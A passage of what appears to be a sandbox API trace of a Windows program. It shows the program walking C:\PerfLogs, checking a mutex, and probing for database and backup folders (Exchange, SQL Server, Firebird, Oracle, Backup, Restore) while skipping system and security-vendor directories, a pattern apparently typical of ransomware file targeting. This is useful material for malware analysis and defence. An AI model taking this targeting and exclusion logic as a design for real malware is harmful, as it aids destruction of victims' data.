| out: lpLocalFileTime=0x18fac8) returned 1 [0040.830] FileTimeToDosDateTime (in: lpFileTime=0x18fac8, lpFatDate=0x18fb86, lpFatTime=0x18fb84 | out: lpFatDate=0x18fb86, lpFatTime=0x18fb84) returned 1 [0040.830] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.830] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.830] GlobalUnlock (hMem=0x44000c) returned 0 [0040.830] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.830] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.831] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.831] GlobalUnlock (hMem=0x44000c) returned 0 [0040.831] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.831] GlobalUnlock (hMem=0x440004) returned 0 [0040.831] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.831] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0040.831] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4ecf3280, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0040.831] FindNextFileW (in: hFindFile=0x526178, lpFindFileData=0x18fba4 | out: lpFindFileData=0x18fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0040.831] FileTimeToLocalFileTime (in: lpFileTime=0x18fbb8, lpLocalFileTime=0x18fac4 | out: lpLocalFileTime=0x18fac4) returned 1 [0040.831] FileTimeToDosDateTime (in: lpFileTime=0x18fac4, lpFatDate=0x18fb86, lpFatTime=0x18fb84 | out: lpFatDate=0x18fb86, lpFatTime=0x18fb84) returned 1 [0040.831] GlobalLock (hMem=0x440004) returned 0x520100 [0040.831] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.831] GlobalUnlock (hMem=0x440004) returned 0 [0040.831] GlobalLock (hMem=0x440004) returned 0x520100 [0040.831] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.831] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.831] GlobalUnlock (hMem=0x440004) returned 0 [0040.831] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.831] GlobalUnlock (hMem=0x44000c) returned 0 [0040.831] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.831] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.831] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.831] GlobalUnlock (hMem=0x44000c) returned 0 [0040.831] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.831] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.831] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.831] GlobalUnlock (hMem=0x44000c) returned 0 [0040.831] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.831] GlobalUnlock (hMem=0x440004) returned 0 [0040.831] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0040.832] SysReAllocStringLen (in: pbstr=0x18fac4*=0x0, psz="C:\\PerfLogs", len=0xb | out: pbstr=0x18fac4*="C:\\PerfLogs") returned 1 [0040.832] GlobalLock (hMem=0x440004) returned 0x520100 [0040.832] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.832] GlobalUnlock (hMem=0x440004) returned 0 [0040.832] GlobalLock (hMem=0x440004) returned 0x520100 [0040.832] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.832] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.832] GlobalUnlock (hMem=0x440004) returned 0 [0040.832] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.832] GlobalUnlock (hMem=0x44000c) returned 0 [0040.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\") returned 26 [0040.832] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Microsoft\\Exchange Server", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@买R乄R企@\x18㳔Q頻\x18\x1b")) returned 0xffffffff [0040.832] GetLastError () returned 0x3 [0040.832] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0040.832] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\") returned 21 [0040.833] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Microsoft SQL Server", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="?T䱠@丬R企@\x18㶬Q頻\x181")) returned 0xffffffff [0040.833] GetLastError () returned 0x2 [0040.833] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.833] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0040.833] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\") returned 9 [0040.833] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Firebird", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="?T䱠@伤R企@\x18䗔S頻\x18;")) returned 0xffffffff [0040.833] GetLastError () returned 0x2 [0040.834] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=9, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0040.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\") returned 8 [0040.834] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\MSSQL.1", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="?T䱠@㳔Q企@\x18?T頻\x18D")) returned 0xffffffff [0040.834] GetLastError () returned 0x2 [0040.834] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=8, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0040.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\\x18\x18?癹") returned 37 [0040.834] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="?T䱠@㶬Q企@\x18丬R頻\x18j")) returned 0xffffffff [0040.835] GetLastError () returned 0x2 [0040.835] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x18\x18?癹") returned 37 [0040.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\\x18\x18?癹") returned 6 [0040.835] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Adobe", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="?T䱠@碜T企@\x18?T頻\x18q")) returned 0xffffffff [0040.835] GetLastError () returned 0x2 [0040.835] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=6, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="adobe\\丨Rð") returned 6 [0040.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\\x18\x18?癹") returned 7 [0040.836] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Oracle", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="?T䱠@㳔Q企@\x18?T頻\x18y")) returned 0xffffffff [0040.836] GetLastError () returned 0x2 [0040.836] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=7, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0040.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\\x18\x18?癹") returned 7 [0040.836] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Archive", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="?T䱠@㴜Q企@\x18?T頻\x18\x81")) returned 0xffffffff [0040.836] GetLastError () returned 0x2 [0040.836] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=7, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0040.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\\x18\x18?癹") returned 6 [0040.837] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Backup", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="?T䱠@㳔Q企@\x18?T頻\x18\x88")) returned 0xffffffff [0040.837] GetLastError () returned 0x2 [0040.837] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=6, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0040.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\\x18\x18?癹") returned 6 [0040.837] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Reserv", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="?T䱠@㴜Q企@\x18?T頻\x18\x8f")) returned 0xffffffff [0040.837] GetLastError () returned 0x2 [0040.837] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=6, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0040.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\\x18\x18?癹") returned 7 [0040.838] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Restore", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x7758ac86, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x54e168, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x550178, cFileName="㪀P\xfdee㰒", cAlternateFileName="?T䱠@㳔Q企@\x18?T頻\x18\x97")) returned 0xffffffff [0040.838] GetLastError () returned 0x2 [0040.838] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=7, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0040.838] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.838] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.838] GlobalUnlock (hMem=0x44000c) returned 0 [0040.838] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.838] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.838] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.838] GlobalUnlock (hMem=0x44000c) returned 0 [0040.838] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.838] GlobalUnlock (hMem=0x440004) returned 0 [0040.838] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.838] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18f33c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0040.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e73c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0040.838] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.839] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18f33c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0040.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e73c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x18?癹") returned 46 [0040.839] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.839] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18f33c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0040.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e73c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x18?癹") returned 15 [0040.839] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.839] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18f33c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0040.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=11, lpWideCharStr=0x18e73c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x18?癹") returned 11 [0040.839] GlobalLock (hMem=0x440004) returned 0x520100 [0040.839] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.839] GlobalUnlock (hMem=0x440004) returned 0 [0040.839] GlobalLock (hMem=0x440004) returned 0x520100 [0040.839] GlobalLock (hMem=0x44000c) returned 0x54e168 [0040.839] GlobalHandle (pMem=0x520100) returned 0x440004 [0040.839] GlobalUnlock (hMem=0x440004) returned 0 [0040.839] GlobalHandle (pMem=0x54e168) returned 0x44000c [0040.839] GlobalUnlock (hMem=0x44000c) returned 0 [0040.839] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x18?癹") returned 15 [0040.840] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=11, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x18?癹") returned 11 [0040.840] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=9, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x18?癹") returned 9 [0040.840] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x18?癹") returned 18 [0040.840] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x18?癹") returned 28 [0040.841] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=10, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x18?癹") returned 10 [0040.841] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=8, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x18?癹") returned 8 [0040.841] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=9, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x18?癹") returned 9 [0040.841] CharLowerBuffW (in: lpsz="C:\\PerfLogs\\", cchLength=0xc | out: lpsz="c:\\perflogs\\") returned 0xc [0040.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x18?癹") returned 13 [0040.841] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.841] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.841] GlobalUnlock (hMem=0x44000c) returned 0 [0040.841] GlobalLock (hMem=0x44000c) returned 0x520100 [0040.842] GlobalLock (hMem=0x440004) returned 0x54e168 [0040.842] GlobalHandle (pMem=0x520100) returned 0x44000c [0040.842] GlobalUnlock (hMem=0x44000c) returned 0 [0040.842] GlobalHandle (pMem=0x54e168) returned 0x440004 [0040.842] GlobalUnlock (hMem=0x440004) returned 0 [0040.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61c08, cbMultiByte=3, lpWideCharStr=0x18e798, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\\x18\x18?癹") returned 3 [0040.842] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x18f864 | out: lpFindFileData=0x18f864*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, 